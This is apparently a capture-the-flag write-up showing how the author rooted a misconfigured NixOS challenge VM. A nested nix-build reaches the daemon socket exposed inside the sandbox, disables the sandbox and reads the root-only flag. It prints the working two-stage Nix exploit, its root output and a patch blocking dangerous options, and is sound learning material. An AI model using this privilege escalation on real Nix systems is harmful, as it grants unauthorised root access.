KalmarCTF: Reproducible Pwning writeup
I was making memes in the CTF room until someone told me Nix showed up on a CTF, and well. It doesn't take that much to tempt me.
Reproducible Pwning is a challenge written by niko, which involves a NixOS VM you're supposed to root. The build user is not notably privileged.
There is a flag in /data
which is mounted from the host via some means. That
directory is only readable by root.
There is a patch to the Nix evaluator. Interesting:
diff --git a/src/libutil/config.cc b/src/libutil/config.cc
index 37f5b50c7..fd824ee03 100644
--- a/src/libutil/config.cc
+++ b/src/libutil/config.cc
@@ -1,3 +1,4 @@
+#include "logging.hh"
#include "config.hh"
#include "args.hh"
#include "abstract-setting-to-json.hh"
@@ -17,6 +18,16 @@ Config::Config(StringMap initials)
bool Config::set(const std::string & name, const std::string & value)
{
+ if (name.find("build-hook") != std::string::npos
+ || name == "accept-flake-config"
+ || name == "allow-new-privileges"
+ || name == "impure-env") {
+ logWarning({
+ .msg = hintfmt("Option '%1%' is too dangerous, skipping.", name)
+ });
+ return true;
+ }
+
bool append = false;
auto i = _settings.find(name);
if (i == _settings.end()) {
The machine is configured with the following NixOS module, which I pulled out of the included flake. The rest of the flake is normal stuff. There are a few things that stand out to me:
- sudo is disabled, polkit is disabled: we are probably not looking for some setuid exploit
- There are some extremely nonstandard Nix config settings being applied
({pkgs, ...}: {
nixpkgs.hostPlatform = "x86_64-linux";
nixpkgs.overlays = [
(final: prev: {
# JADE: likely vulnerable to puck's CVE, but I doubt that is the bug cuz they
# added a patch and there is other funny business up.
nix = final.nixVersions.nix_2_13.overrideAttrs {
patches = [./nix.patch];
# JADE: due to broken integration tests, almost certainly
doInstallCheck = false;
};
})
];
# JADE: no interesting setuid binaries
security = {
sudo.enable = false;
polkit.enable = false;
};
systemd.services.nix-daemon.serviceConfig.EnvironmentFile = let
# JADE: here is the wacky part of the config.
# This exposes the Nix daemon socket inside the sandbox (this is mostly
# never the case unless using recursive-nix). So we are going to
# be running a nix build inside a nix build to do something.
sandbox = pkgs.writeText "nix-daemon-config" ''
extra-sandbox-paths = /tmp/daemon=/nix/var/nix/daemon-socket/socket
'';
# JADE: I don't know what this does, so we are going to be reading some C++Nix
# source code. But it sure smells like running the build as root.
buildug = pkgs.writeText "nix-daemon-config" ''
build-users-group =
'';
in
# JADE: Sets additional config files to only the nix daemon. This is
# documented in the Nix manual.
pkgs.writeText "env" ''
NIX_USER_CONF_FILES=${sandbox}:${buildug}
'';
})
Here is the rest of the module which is uninteresting:
boring-module.nix
{ ... }: {
# JADE: what the heck is this? It seems like some kind of kernel-problems
# storage thing. Later found out this is nothing.
environment.etc."systemd/pstore.conf".text = ''
[PStore]
Unlink=no
'';
users.users.root.initialHashedPassword = "x";
users.users.user = {
isNormalUser = true;
initialHashedPassword = "";
group = "user";
};
users.groups.user = {};
system.stateVersion = "22.04";
services.openssh = {
enable = true;
settings.PermitRootLogin = "no";
};
# JADE: save some image size
environment.noXlibs = true;
documentation.man.enable = false;
documentation.doc.enable = false;
fonts.fontconfig.enable = false;
nix.settings = {
# JADE: this option has no interesting security impact, just whether you
# can build during evaluation phase.
allow-import-from-derivation = false;
experimental-features = ["flakes" "nix-command" "repl-flake" "no-url-literals"];
};
}
So, to sum up:
- We have a Nix daemon socket in the sandbox.
- We are running builds with some weird group.
- Several config settings that make trusted users effectively root are blocked by the patch. Interesting. We probably become a trusted user then.
So like, let's run some build.
let
nixpkgs = builtins.fetchTarball {
url = "https://github.com/nixos/nixpkgs/archive/6e2f00c83911461438301db0dba5281197fe4b3a.tar.gz";
"sha256" = "sha256:0bsw31zhnnqadxh2i2fgj9568gqabni3m0pfib806nc2l7hzyr1h";
};
pkgs = import nixpkgs {};
in
pkgs.runCommand "meow" { buildInputs = [ pkgs.nixVersions.nix_2_13 ]; PKGS = pkgs.path; } ''
id -a
''
This gives me:
this derivation will be built:
/nix/store/958afc87nsfhwlm6b62z2xksmlaawsqg-meow.drv
building '/nix/store/958afc87nsfhwlm6b62z2xksmlaawsqg-meow.drv'...
uid=1000(nixbld) gid=100(nixbld) groups=100(nixbld)
Hm. Boring, I was expecting to be root already.
But, why is there a socket in there? Let's try invoking another build inside our build, maybe? And, based on the assumption we must be trusted user (since I can't think of any other reason interaction with the bind-mounted socket would be different from inside the sandbox), let's try just turning off the sandbox in the inner build and see what happens?
let
nixpkgs = builtins.fetchTarball {
url = "https://github.com/nixos/nixpkgs/archive/6e2f00c83911461438301db0dba5281197fe4b3a.tar.gz";
"sha256" = "sha256:0bsw31zhnnqadxh2i2fgj9568gqabni3m0pfib806nc2l7hzyr1h";
};
pkgs = import nixpkgs {};
# dont worry about the contents quite yet
hax = pkgs.writeText "hax" (builtins.readFile ./stage2.nix);
in
pkgs.runCommand "meow" { buildInputs = [ pkgs.nixVersions.nix_2_13 ]; PKGS = pkgs.path; } ''
id -a
nix-build --option sandbox false --extra-experimental-features 'flakes nix-command' --store unix:///tmp/daemon ${hax}
''
and stage2.nix
:
let
pkgs = import (builtins.getEnv "PKGS") { };
in
pkgs.runCommand "meow2" { } ''
echo MEOW2
id -a
''
This outputs:
this derivation will be built:
/nix/store/iynjhk5a5ymp26cbyp22l15ix4lrp2f6-meow.drv
building '/nix/store/iynjhk5a5ymp26cbyp22l15ix4lrp2f6-meow.drv'...
uid=1000(nixbld) gid=100(nixbld) groups=100(nixbld)
this derivation will be built:
/nix/store/cyw7kaqazdpgpna0jmaw7cw5348srvv3-meow2.drv
building '/nix/store/cyw7kaqazdpgpna0jmaw7cw5348srvv3-meow2.drv'...
MEOW2
uid=0(root) gid=0(root) groups=0(root)
Welp, I am root. Change stage 2 to cat /data/*
and we have a flag:
[user@nixos:~]$ cat >stage1.nix <<-'EOF'
> let
nixpkgs = builtins.fetchTarball {
url = "https://github.com/nixos/nixpkgs/archive/6e2f00c83911461438301db0dba5281197fe4b3a.tar.gz";
"sha256" = "sha256:0bsw31zhnnqadxh2i2fgj9568gqabni3m0pfib806nc2l7hzyr1h";
};
pkgs = import nixpkgs {};
hax = pkgs.writeText "hax" (builtins.readFile ./stage2.nix);
in
pkgs.runCommand "meow" { buildInputs = [ pkgs.nixVersions.nix_2_13 ]; PKGS = pkgs.path; } ''
id -a
nix-build --option sandbox false --extra-experimental-features 'flakes nix-command' --store unix:///tmp/daemon ${hax}
''
> EOF
[user@nixos:~]$ cat >stage2.nix <<-'EOF'
> let
pkgs = import (builtins.getEnv "PKGS") { };
in
pkgs.runCommand "meow2" { } ''
echo MEOW2
id -a
ls / || true
ls /data || true
cat /data/*
''
> EOF
[user@nixos:~]$ nix-build stage1.nix
warning: Nix search path entry '/nix/var/nix/profiles/per-user/root/channels' does not exist, ignoring
these 2 derivations will be built:
/nix/store/gzniydj0mayvzs7hin3v3j1643fjzrq3-hax.drv
/nix/store/m4gjzvkjks5n1zr54cxjzmwav0g9zzj1-meow.drv
these 11 paths will be fetched (3.92 MiB download, 23.41 MiB unpacked):
<SNIP>
building '/nix/store/gzniydj0mayvzs7hin3v3j1643fjzrq3-hax.drv'...
warning: Option 'accept-flake-config' is too dangerous, skipping.
warning: Option 'allow-new-privileges' is too dangerous, skipping.
warning: Option 'build-hook' is too dangerous, skipping.
warning: Option 'post-build-hook' is too dangerous, skipping.
warning: Option 'pre-build-hook' is too dangerous, skipping.
building '/nix/store/m4gjzvkjks5n1zr54cxjzmwav0g9zzj1-meow.drv'...
uid=1000(nixbld) gid=100(nixbld) groups=100(nixbld)
this derivation will be built:
/nix/store/nv5j8z6w8zw0s6gjrmajy0wn7f2azfc0-meow2.drv
warning: Option 'accept-flake-config' is too dangerous, skipping.
warning: Option 'allow-new-privileges' is too dangerous, skipping.
warning: Option 'build-hook' is too dangerous, skipping.
warning: Option 'post-build-hook' is too dangerous, skipping.
warning: Option 'pre-build-hook' is too dangerous, skipping.
building '/nix/store/nv5j8z6w8zw0s6gjrmajy0wn7f2azfc0-meow2.drv'...
MEOW2
uid=0(root) gid=0(root) groups=0(root)
bin dev home lib64 proc run sys usr
data etc lib nix root srv tmp var
flag
kalmar{0nlyReproduc1bleMisconfigurationsH3R3}
I was informed later that I found an unintended solution, and one was not
supposed to "simply set sandbox = false
". The intended solution was to either
use the diff-hook
setting which is run as the daemon's user (like
post-build-hook
and build-hook
which were conspicuously also banned), or
abuse being root to tamper with the inputs to the derivation and overwriting
something run by a privileged user.
I don't think the unintended solution was that bad, though, because once you are trusted user, it is assumed in the Nix codebase that you can just root the box.